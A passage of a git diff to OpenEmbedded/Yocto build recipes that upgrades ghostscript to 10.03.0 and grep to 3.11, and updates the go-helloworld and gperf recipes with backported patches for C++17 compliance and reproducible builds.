--$(GENDEV_XE): $(GLSRC)gendev.c $(AK) $(GENDEV_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(I_)$(GLSRCDIR)$(_I) $(O_)$(GENDEV_XE) $(GLSRC)gendev.c $(AUXEXTRALIBS)
--
--$(GENHT_XE): $(GLSRC)genht.c $(AK) $(GENHT_DEPS) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENHT_CFLAGS) $(O_)$(GENHT_XE) $(GLSRC)genht.c $(AUXEXTRALIBS)
--
--# To get GS to use the system zlib, you remove/hide the gs/zlib directory
--# which means that the mkromfs build can't find the zlib source it needs.
--# So it's split into two targets, one using the zlib source directly.....
--MKROMFS_OBJS_0=$(MKROMFS_ZLIB_OBJS) $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gscdefs.$(OBJ) $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ) $(AUX)memento.$(OBJ)
--
--$(MKROMFS_XE)_0: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_0) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_0 $(MKROMFS_OBJS_0) $(AUXEXTRALIBS)
--
--# .... and one using the zlib library linked via the command line
--MKROMFS_OBJS_1=$(AUX)gscdefs.$(OBJ) \
-- $(AUX)gpmisc.$(OBJ) $(AUX)gp_getnv.$(OBJ) \
-- $(AUX)gp_unix.$(OBJ) $(AUX)gp_unifs.$(OBJ) $(AUX)gp_unifn.$(OBJ) \
-- $(AUX)gp_stdia.$(OBJ) $(AUX)gsutil.$(OBJ)
--
--$(MKROMFS_XE)_1: $(GLSRC)mkromfs.c $(MKROMFS_COMMON_DEPS) $(MKROMFS_OBJS_1) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CCAUX_) $(GENOPTAUX) $(I_)$(GLSRCDIR)$(_I) $(I_)$(GLOBJ)$(_I) $(I_)$(ZSRCDIR)$(_I) $(GLSRC)mkromfs.c $(O_)$(MKROMFS_XE)_1 $(MKROMFS_OBJS_1) $(AUXEXTRALIBS)
--
--$(MKROMFS_XE): $(MKROMFS_XE)_$(SHARE_ZLIB) $(UNIX_AUX_MAK) $(MAKEDIRS)
-- $(CP_) $(MKROMFS_XE)_$(SHARE_ZLIB) $(MKROMFS_XE)
--
- # Query the environment to construct gconfig_.h.
- # These are all defined conditionally (except the JasPER one), so that
- # they can be overridden by settings from the configure script.
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch b/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
deleted file mode 100644
index 3e6d3e3c48..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mkdir-p.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 2b23026f8e2a352417fb1c4da94bf69b19bef267 Mon Sep 17 00:00:00 2001
-From: Joe Slater <joe.slater@windriver.com>
-Date: Thu, 29 Mar 2018 16:04:32 +0800
-Subject: [PATCH 05/10] ghostscript: allow directories to be created more than
- once
-
-When doing parallel builds, we might try to create directories
-more than once. This should not cause an error.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-Rebase to 9.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- base/unix-end.mak | 17 ++++++++---------
- 1 file changed, 8 insertions(+), 9 deletions(-)
-
-diff --git a/base/unix-end.mak b/base/unix-end.mak
-index 9ce599a..feff5a6 100644
---- a/base/unix-end.mak
-+++ b/base/unix-end.mak
-@@ -17,15 +17,14 @@
- UNIX_END_MAK=$(GLSRC)unix-end.mak $(TOP_MAKEFILES)
- # Define the rule for building standard configurations.
- directories: $(UNIX_END_MAK)
-- @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir $(BINDIR); fi
-- @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir $(GLGENDIR); fi
-- @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir $(GLOBJDIR); fi
-- @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir $(DEVGENDIR); fi
-- @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir $(DEVOBJDIR); fi
-- @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir $(AUXDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR); then mkdir $(PSGENDIR); fi
-- @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir $(PSGENDIR)/cups; fi
-- @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir $(PSOBJDIR); fi
-+ @if test "$(BINDIR)" != "" -a ! -d $(BINDIR); then mkdir -p $(BINDIR); fi
-+ @if test "$(GLGENDIR)" != "" -a ! -d $(GLGENDIR); then mkdir -p $(GLGENDIR); fi
-+ @if test "$(GLOBJDIR)" != "" -a ! -d $(GLOBJDIR); then mkdir -p $(GLOBJDIR); fi
-+ @if test "$(DEVGENDIR)" != "" -a ! -d $(DEVGENDIR); then mkdir -p $(DEVGENDIR); fi
-+ @if test "$(DEVOBJDIR)" != "" -a ! -d $(DEVOBJDIR); then mkdir -p $(DEVOBJDIR); fi
-+ @if test "$(AUXDIR)" != "" -a ! -d $(AUXDIR); then mkdir -p $(AUXDIR); fi
-+ @if test "$(PSGENDIR)" != "" -a ! -d $(PSGENDIR)/cups; then mkdir -p $(PSGENDIR)/cups; fi
-+ @if test "$(PSOBJDIR)" != "" -a ! -d $(PSOBJDIR); then mkdir -p $(PSOBJDIR); fi
-
-
- gs: .gssubtarget $(UNIX_END_MAK)
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
new file mode 100644
index 0000000000..ff7d38676e
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_10.03.0.bb
@@ -0,0 +1,75 @@
+SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
+DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
+a back-end to a program such as ghostview, it can display PostScript and PDF \
+documents in an X11 environment. \
+\
+Furthermore, it can render PostScript and PDF files as graphics to be printed \
+on non-PostScript printers. Supported printers include common \
+dot-matrix, inkjet and laser models. \
+"
+HOMEPAGE = "http://www.ghostscript.com"
+SECTION = "console/utils"
+
+LICENSE = "AGPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=f98ffa763e50cded76f49bce73aade16"
+
+DEPENDS = "tiff jpeg fontconfig cups libpng freetype zlib"
+
+UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
+UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
+
+def gs_verdir(v):
+ return "".join(v.split("."))
+
+
+SRC_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
+ file://ghostscript-9.16-Werror-return-type.patch \
+ file://avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "6f2bc61023469fcf7c7c2d7f1bdd75b75f2b41836aa1d5e641396246d4abbb59"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
+PACKAGECONFIG[libidn] = "--with-libidn,--without-libidn,libidn"
+PACKAGECONFIG[libpaper] = "--with-libpaper,--without-libpaper,libpaper"
+PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
+ --without-x, virtual/libx11 libxext libxt"
+
+EXTRA_OECONF = "--with-jbig2dec \
+ --with-fontpath=${datadir}/fonts \
+ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
+ PKGCONFIG=pkg-config \
+ "
+
+EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
+
+EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+
+# Uses autoconf but not automake, can't do out-of-tree
+inherit autotools-brokensep pkgconfig
+
+# Prune the source tree of libraries that we're using our packaging of, so that
+# ghostscript can't link to them. Can't prune zlib as that's needed for the
+# native tools.
+prune_sources() {
+ rm -rf ${S}/jpeg/ ${S}/libpng/ ${S}/tiff/ ${S}/expat/ ${S}/freetype/ ${S}/cups/lib
+}
+do_unpack[postfuncs] += "prune_sources"
+
+do_install:append () {
+ oe_runmake DESTDIR=${D} install-so
+ oe_runmake DESTDIR=${D} install-data
+ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
+}
+
+# ghostscript does not supports "arc"
+COMPATIBLE_HOST = "^(?!arc).*"
+
+# some entries in NVD uses gpl_ghostscript
+CVE_PRODUCT = "ghostscript gpl_ghostscript"
+
+CVE_STATUS[CVE-2023-38560] = "not-applicable-config: PCL isn't part of the Ghostscript release"
+CVE_STATUS[CVE-2023-38559] = "cpe-incorrect: Issue only appears in versions before 10.02.0"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb b/meta/recipes-extended/ghostscript/ghostscript_9.52.bb
deleted file mode 100644
index 65135f5821..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.52.bb
+++ /dev/null
@@ -1,123 +0,0 @@
-SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
-DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
-a back-end to a program such as ghostview, it can display PostScript and PDF \
-documents in an X11 environment. \
-\
-Furthermore, it can render PostScript and PDF files as graphics to be printed \
-on non-PostScript printers. Supported printers include common \
-dot-matrix, inkjet and laser models. \
-"
-HOMEPAGE = "http://www.ghostscript.com"
-SECTION = "console/utils"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
-
-DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
-DEPENDS_class-native = "libpng-native"
-
-UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-def gs_verdir(v):
- return "".join(v.split("."))
-
-
-SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${@gs_verdir("${PV}")}/${BPN}-${PV}.tar.gz \
- file://ghostscript-9.15-parallel-make.patch \
- file://ghostscript-9.16-Werror-return-type.patch \
- file://do-not-check-local-libpng-source.patch \
- file://avoid-host-contamination.patch \
- file://mkdir-p.patch \
-"
-
-SRC_URI = "${SRC_URI_BASE} \
- file://ghostscript-9.21-prevent_recompiling.patch \
- file://cups-no-gcrypt.patch \
- file://CVE-2020-15900.patch \
- "
-
-SRC_URI_class-native = "${SRC_URI_BASE} \
- file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
- file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
- "
-
-SRC_URI[md5sum] = "0f6964ab9b83a63b7e373f136243f901"
-SRC_URI[sha256sum] = "c2501d8e8e0814c4a5aa7e443e230e73d7af7f70287546f7b697e5ef49e32176"
-
-# Put something like
-#
-# PACKAGECONFIG_append_pn-ghostscript = " x11"
-#
-# in local.conf to enable building with X11. Be careful. The order
-# of the overrides matters!
-#
-#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
-PACKAGECONFIG_class-native = ""
-
-PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
- --without-x, virtual/libx11 libxext libxt gtk+3\
- "
-
-EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
- --with-cups-datadir=${datadir}/cups \
- CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
- "
-
-EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
-
-# Explicity disable libtiff, fontconfig,
-# freetype, cups for ghostscript-native
-EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
- --without-jbig2dec --without-libpaper \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --disable-fontconfig \
- --enable-freetype --disable-cups "
-
-# This has been fixed upstream but for now we need to subvert the check for time.h
-# http://bugs.ghostscript.com/show_bug.cgi?id=692443
-# http://bugs.ghostscript.com/show_bug.cgi?id=692426
-CFLAGS += "-DHAVE_SYS_TIME_H=1"
-BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
-
-inherit autotools-brokensep
-
-do_configure_append () {
- # copy tools from the native ghostscript build
- if [ "${PN}" != "ghostscript-native" ]; then
- mkdir -p obj/aux soobj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
- done
- fi
-}
-
-do_install_append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
-}
-
-do_compile_class-native () {
- mkdir -p obj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- oe_runmake obj/aux/$i
- done
-}
-
-do_install_class-native () {
- install -d ${D}${bindir}/ghostscript-${PV}
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
- done
-}
-
-BBCLASSEXTEND = "native"
-
-# ghostscript does not supports "arc"
-COMPATIBLE_HOST = "^(?!arc).*"
-
-# some entries in NVD uses gpl_ghostscript
-CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index ab70ea98a3..74f3520eae 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -1,20 +1,22 @@
-DESCRIPTION = "This is a simple example recipe that cross-compiles a Go program."
+SUMMARY = "This is a simple example recipe that cross-compiles a Go program."
SECTION = "examples"
HOMEPAGE = "https://golang.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe"
+SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
+SRCREV = "32022caedd6a177a7717aa8680cbe179e1045935"
UPSTREAM_CHECK_COMMITS = "1"
-GO_IMPORT = "github.com/golang/example"
+GO_IMPORT = "golang.org/x/example"
GO_INSTALL = "${GO_IMPORT}/hello"
+export GO111MODULE="off"
+
inherit go
# This is just to make clear where this example is
-do_install_append() {
+do_install:append() {
mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
}
diff --git a/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
new file mode 100644
index 0000000000..96e70cdb36
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
@@ -0,0 +1,29 @@
+From 6194f0027045433598a61965758b4531a3d06d1f Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Sun, 30 Aug 2020 12:36:15 +0200
+Subject: [PATCH] Make the code C++17 compliant.
+
+* lib/getline.cc (getstr): Don't use the 'register' keyword.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/gitweb/?p=gperf.git;a=commit;h=a63b830554920476881837eeacd4a6b507632b19]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/getline.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/getline.cc b/lib/getline.cc
+index c57c633..0984a7c 100644
+--- a/lib/getline.cc
++++ b/lib/getline.cc
+@@ -55,7 +55,7 @@ getstr (char **lineptr, size_t *n, FILE *stream, char terminator, size_t offset)
+
+ for (;;)
+ {
+- register int c = getc (stream);
++ int c = getc (stream);
+
+ /* We always want at least one char left in the buffer, since we
+ always (unless we get an error while reading the first char)
+--
+2.39.0
+
diff --git a/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
new file mode 100644
index 0000000000..98959db0a8
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
@@ -0,0 +1,181 @@
+From 1862c6e57a308a05889c80c048dbc58bdc378dcb Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Tue, 5 Jul 2022 07:51:46 +0200
+Subject: [PATCH] Add support for reproducible builds.
+
+Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
+<https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
+
+* autogen.sh: Import also lib/filename.h.
+* Makefile.in (IMPORTED_FILES): Add lib/filename.h.
+* src/options.cc: Include filename.h.
+(Options::print_options): Print only the base name of the program name.
+* tests/*.exp: Update.
+
+Upstream-Status: Backport
+
+Index: gperf-3.1/ChangeLog
+===================================================================
+--- gperf-3.1.orig/ChangeLog
++++ gperf-3.1/ChangeLog
+@@ -1,3 +1,14 @@
++2022-07-05 Bruno Haible <bruno@clisp.org>
++
++ Add support for reproducible builds.
++ Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
++ <https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
++ * autogen.sh: Import also lib/filename.h.
++ * Makefile.in (IMPORTED_FILES): Add lib/filename.h.
++ * src/options.cc: Include filename.h.
++ (Options::print_options): Print only the base name of the program name.
++ * tests/*.exp: Update.
++
+ 2017-01-02 Marcel Schaible <marcel.schaible@studium.fernuni-hagen.de>
+
+ * gperf-3.1 released.
+Index: gperf-3.1/src/options.cc
+===================================================================
+--- gperf-3.1.orig/src/options.cc
++++ gperf-3.1/src/options.cc
+@@ -26,6 +26,7 @@
+ #include <string.h> /* declares strcmp() */
+ #include <ctype.h> /* declares isdigit() */
+ #include <limits.h> /* defines CHAR_MAX */
++#include "filename.h"
+ #include "getopt.h"
+ #include "version.h"
+
+@@ -280,6 +281,16 @@ Options::print_options () const
+ {
+ const char *arg = _argument_vector[i];
+
++ if (i == 0)
++ {
++ /* _argument_vector[0] is the program name. Print only its base name.
++ This is useful for reproducible builds. */
++ const char *p = arg + strlen (arg);
++ while (p > arg && ! ISSLASH (p[-1]))
++ p--;
++ arg = p;
++ }
++
+ /* Escape arg if it contains shell metacharacters. */
+ if (*arg == '-')
+ {
+Index: gperf-3.1/lib/filename.h
+===================================================================
+--- /dev/null
++++ gperf-3.1/lib/filename.h
+@@ -0,0 +1,112 @@
++/* Basic filename support macros.
++ Copyright (C) 2001-2022 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++/* From Paul Eggert and Jim Meyering. */
++
++#ifndef _FILENAME_H
++#define _FILENAME_H
++
++#include <string.h>
++
++#ifdef __cplusplus
++extern "C" {
++#endif
++
++
++/* Filename support.
++ ISSLASH(C) tests whether C is a directory separator
++ character.
++ HAS_DEVICE(Filename) tests whether Filename contains a device
++ specification.
++ FILE_SYSTEM_PREFIX_LEN(Filename) length of the device specification
++ at the beginning of Filename,
++ index of the part consisting of
++ alternating components and slashes.
++ FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++ 1 when a non-empty device specification
++ can be followed by an empty or relative
++ part,
++ 0 when a non-empty device specification
++ must be followed by a slash,
++ 0 when device specification don't exist.
++ IS_ABSOLUTE_FILE_NAME(Filename)
++ tests whether Filename is independent of
++ any notion of "current directory".
++ IS_RELATIVE_FILE_NAME(Filename)
++ tests whether Filename may be concatenated
++ to a directory filename.
++ Note: On native Windows, OS/2, DOS, "c:" is neither an absolute nor a
++ relative file name!
++ IS_FILE_NAME_WITH_DIR(Filename) tests whether Filename contains a device
++ or directory specification.
++ */
++#if defined _WIN32 || defined __CYGWIN__ \
++ || defined __EMX__ || defined __MSDOS__ || defined __DJGPP__
++ /* Native Windows, Cygwin, OS/2, DOS */
++# define ISSLASH(C) ((C) == '/' || (C) == '\\')
++ /* Internal macro: Tests whether a character is a drive letter. */
++# define _IS_DRIVE_LETTER(C) \
++ (((C) >= 'A' && (C) <= 'Z') || ((C) >= 'a' && (C) <= 'z'))
++ /* Help the compiler optimizing it. This assumes ASCII. */
++# undef _IS_DRIVE_LETTER
++# define _IS_DRIVE_LETTER(C) \
++ (((unsigned int) (C) | ('a' - 'A')) - 'a' <= 'z' - 'a')
++# define HAS_DEVICE(Filename) \
++ (_IS_DRIVE_LETTER ((Filename)[0]) && (Filename)[1] == ':')
++# define FILE_SYSTEM_PREFIX_LEN(Filename) (HAS_DEVICE (Filename) ? 2 : 0)
++# ifdef __CYGWIN__
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# else
++ /* On native Windows, OS/2, DOS, the system has the notion of a
++ "current directory" on each drive. */
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 1
++# endif
++# if FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ ISSLASH ((Filename)[FILE_SYSTEM_PREFIX_LEN (Filename)])
++# else
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename))
++# endif
++# define IS_RELATIVE_FILE_NAME(Filename) \
++ (! (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename)))
++# define IS_FILE_NAME_WITH_DIR(Filename) \
++ (strchr ((Filename), '/') != NULL || strchr ((Filename), '\\') != NULL \
++ || HAS_DEVICE (Filename))
++#else
++ /* Unix */
++# define ISSLASH(C) ((C) == '/')
++# define HAS_DEVICE(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_PREFIX_LEN(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# define IS_ABSOLUTE_FILE_NAME(Filename) ISSLASH ((Filename)[0])
++# define IS_RELATIVE_FILE_NAME(Filename) (! ISSLASH ((Filename)[0]))
++# define IS_FILE_NAME_WITH_DIR(Filename) (strchr ((Filename), '/') != NULL)
++#endif
++
++/* Deprecated macros. For backward compatibility with old users of the
++ 'filename' module. */
++#define IS_ABSOLUTE_PATH IS_ABSOLUTE_FILE_NAME
++#define IS_PATH_WITH_DIR IS_FILE_NAME_WITH_DIR
++
++
++#ifdef __cplusplus
++}
++#endif
++
++#endif /* _FILENAME_H */
diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb
index f61b2a329a..c57ade9fe3 100644
--- a/meta/recipes-extended/gperf/gperf_3.1.bb
+++ b/meta/recipes-extended/gperf/gperf_3.1.bb
@@ -1,18 +1,21 @@
DESCRIPTION = "GNU gperf is a perfect hash function generator"
HOMEPAGE = "http://www.gnu.org/software/gperf"
SUMMARY = "Generate a perfect hash function from a set of keywords"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://0001-Make-the-code-C-17-compliant.patch"
SRC_URI[md5sum] = "9e251c0a618ad0824b51117d5d9db87e"
SRC_URI[sha256sum] = "588546b945bba4b70b6a3a616e80b4ab466e3f33024a352fc2198112cdbb3ae2"
+SRC_URI += "file://1862c6e57a308a05889c80c048dbc58bdc378dcb.patch"
+
inherit autotools
# The nested configures don't find the parent aclocal.m4 out of the box, so tell
# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel).
EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/grep/grep_3.11.bb b/meta/recipes-extended/grep/grep_3.11.bb
new file mode 100644
index 0000000000..cb3105de04
--- /dev/null
+++ b/meta/recipes-extended/grep/grep_3.11.bb
@@ -0,0 +1,46 @@
+SUMMARY = "GNU grep utility"
+HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
+DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
+BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
+SECTION = "console/utils"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "1db2aedde89d0dea42b16d9528f894c8d15dae4e190b59aecc78f5a951276eab"
+
+inherit autotools gettext texinfo pkgconfig
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+do_configure:prepend () {
+ sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
+ rm -f ${S}/m4/init.m4
+}
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/grep ${D}${base_bindir}/grep
+ mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
+ mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
+ rmdir ${D}${bindir}/
+ fi
+}
+
+inherit update-alternatives
+
+PACKAGECONFIG ??= "pcre"
+PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre2"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "grep egrep fgrep"
+ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
+ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
+ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/grep/grep_3.4.bb b/meta/recipes-extended/grep/grep_3.4.bb
deleted file mode 100644
index e176dd727b..0000000000
--- a/meta/recipes-extended/grep/grep_3.4.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "GNU grep utility"
-HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
-BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
-SECTION = "console/utils"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "111b117d22d6a7d049d6ae7505e9c4d2"
-SRC_URI[sha256sum] = "58e6751c41a7c25bfc6e9363a41786cff3ba5709cf11d5ad903cf7cce31cc3fb"
-
-inherit autotools gettext texinfo pkgconfig
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-do_configure_prepend () {
- sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
- rm -f ${S}/m4/init.m4
-}
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/grep ${D}${base_bindir}/grep
- mv ${D}${bindir}/egrep ${D}${base_bindir}/egrep
- mv ${D}${bindir}/fgrep ${D}${base_bindir}/fgrep
- rmdir ${D}${bindir}/
- fi
-}
-
-inherit update-alternatives
-
-PACKAGECONFIG ??= "pcre"
-PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "grep egrep fgrep"
-ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
